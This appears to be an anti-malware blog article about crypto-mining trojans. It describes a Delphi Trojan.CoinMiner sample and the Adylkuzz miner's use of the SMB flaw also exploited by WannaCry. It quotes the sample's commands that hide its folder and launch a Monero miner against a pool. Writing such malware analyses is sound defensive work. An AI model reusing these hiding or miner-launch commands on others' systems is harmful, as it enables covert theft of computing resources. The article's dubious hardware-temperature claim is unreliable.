The owner of such infected computers may notice that some processes in their system use a lot of CPU % which often slow down the computer or even freeze it completely. The main problem with a miner program that they use your PC to make money.
For the average user, it can be just a slow down of the computer but be careful, if you ignore this problem you can lose part of your PC because of overheating. So if you notice that CPU temperatures over 50 degrees, then be ready that someone already using your PC for mining.
Such viruses often can be downloaded from the Internet by the users themselves, often when users open unknown files from the spam message they infect the computer with different kinds of virus-like malware or adware. But the developer often has a plan B, they attach alike viruses to the installation of different free programs, so if you skip the installation process and didn’t look to advantage setting then ready that your computer will be infected with virus-like this.
We discovered a sample of Trojan.CoinMiner written in Delphi, which is distributed via spam mail:
Other antivirus programs detect Trojan.CoinMiner (csrss.exe) as:
|ESET-NOD32||a variant of Win64/BitCoinMiner.AP potentially unsafe|
The virus creates the next folder:
And create these files:
After Trojan.CoinMiner has been unpacked, it hides its presence using the strings in Hide.bat, setting the hidden and system attributes to the folder and files in it.
Attrib C:\Windows\MicrosoftU + S + H / S / D
Attrib C:\Windows\MicrosoftU\*. * + S + H / S / D
The virus starts with the following parameters:
Stratum + tcp: //xmr.pool.minergate.com: 45560 – Resource for which “mining” will be entered
Tatyana.firstname.lastname@example.org – user login from whom the extraction will be introduced
Cryptonight – Mining algorithm
Another parameter is how many threads the program will work in, this “miner” has a formula for calculating the number of processor cores involved, it is in the .bat file that launches the “miner” for the first time:
Set / a cpu =% NUMBER_OF_PROCESSORS% / 2 + 1
Srvanyx -a cryptonight -o stratum + tcp: //xmr.pool.minergate.com: 45560 -u email@example.com -p x -t% cpu%
Another good miner example – Adylkuzz. This miner use SMB vulnerability for several weeks and this is a similar vulnerability that uses widespread WannaCry (Wana Decrypt0r) what infect millions of the computer last week. The main difference between those two viruses is that Adylkuzz miner hides as deep as possible and just uses computer performance to mine Bitcoin and WCry (Wana Decryptor) aggressively encrypt data on the user’s computer.
Moreover, the researchers are sure that the malicious Adylkuzz miner infects the computer much earlier than WannaCry, at least on May 2, 2017. Adylkuzz did not attract as much attention as the sWana Decrypt0r, for the simple reason that it is much more difficult to notice infection in this case. The only “symptoms” that the victim can notice is the slowdown of the PC, as the miner uses the system’s resources. Specialists say that Adylkuzz protected the users affected by it from WannaCry ransomware attacks. After the miner infects the user’s computer, it closes the “hole” in SMB and does not allow other malware to use the gap.
The specialists of both companies remind everyone who for some reason has not yet installed the update MS17-010, which closes the gap in SMB, that it should be done immediately, and also close the 445 port.
The miners are worth noting that the program that is used only for “mining” and does not carry a direct threat, but can be used for undesirable actions. We highly recommend you to download and scan your PC with professional anti-malware tool and clean up your PC.